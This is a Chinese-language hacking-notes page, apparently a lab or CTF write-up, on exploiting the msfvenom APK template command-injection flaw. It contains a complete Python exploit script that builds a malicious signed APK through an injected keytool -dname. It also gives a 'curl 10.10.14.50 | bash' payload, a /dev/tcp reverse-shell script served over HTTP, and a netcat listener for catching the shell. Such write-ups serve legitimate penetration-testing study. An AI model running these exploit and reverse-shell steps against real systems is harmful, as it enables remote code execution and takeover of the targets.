> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/msfvenom-apk-exploitation.md).

# 使用 Msfvenom 制作 APK

Msfvenom APK 模板注入笔记，涵盖 keytool 命令注入、恶意 APK 生成、回连检测、反向 Shell payload 和利用投递。

## msfvenom APK 模板命令注入

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-124b244a73d6319cb61eec7dbff514b115516548%2Fimage%20(672).png?alt=media" alt=""><figcaption></figcaption></figure>

在 5000 端口上识别到一个存在漏洞的服务。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f62584aa92b08aca8803785a4fe5e1499feccfa8%2Fimage%20(673).png?alt=media" alt=""><figcaption></figcaption></figure>

搜索相关漏洞：

```bash
searchsploit -m multiple/local/49491.py
```

发现了一个潜在的基于 APK 的注入。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb38e092223a74b700d96ffb88f7dd7a90225fbf%2F%7B6011D19D-D3E5-4A76-8EA3-4C7A9DA18701%7D.png?alt=media" alt="" width="557"><figcaption></figcaption></figure>

**利用脚本（msfvenom-exploit.py）**

```bash
python3 msfvenom-exploit.py
```

```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode

# 修改我
payload = 'ping 10.10.14.50'

# 使用 b64encode 避免坏字符（keytool 很挑剔）
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #"

print(f"[+] 正在制作恶意 apk 文件")
print(f"负载：{payload}")
print(f"-dname：{dname}")
print()

tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"

# 创建空文件 empty_file
open(empty_file, "w").close()

# 创建 apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])
# 使用恶意 -dname 生成签名密钥
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])

# 使用我们的恶意 dname 对 APK 进行签名
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])

print()
print(f"[+] 完成！apk 文件位于 {apk_file}")
print(f"执行：msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
```

该脚本会生成一个包含恶意 APK 的临时文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56c34dcdbb909b236f6ba10d8dd3937e46bb3310%2F%7BF0E5A4A6-6373-4429-BC78-68958C379039%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-61b4a607bd5bb30641a5912c2dfee6ec40edefce%2F%7B399AA1A0-CECE-4A7D-AA2C-FC76BF05143A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**ICMP 数据包分析**

监控网络活动以查找回连：

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3c749063d7363f7075e137ce286e116be43a603%2Fimage%20(674).png?alt=media" alt=""><figcaption></figcaption></figure>

### **使用 Msfvenom 进行 RCE 利用**

修改负载以建立反向连接：

```bash
# 修改我
payload = 'curl 10.10.14.50 | bash'
```

创建一个 `index.html` 包含以下内容的文件：

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

启动一个 HTTP 服务器：

```bash
python3 -m http.server 80
```

然后监听 443 端口上的连接：

```bash
nc -nlvp 443
```

一旦 APK 被发送到目标并执行，就会获得一个远程 Shell。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-06f0a042ecb176994def61f6a19b6bbc49534fb2%2Fimage%20(675).png?alt=media" alt=""><figcaption></figcaption></figure>


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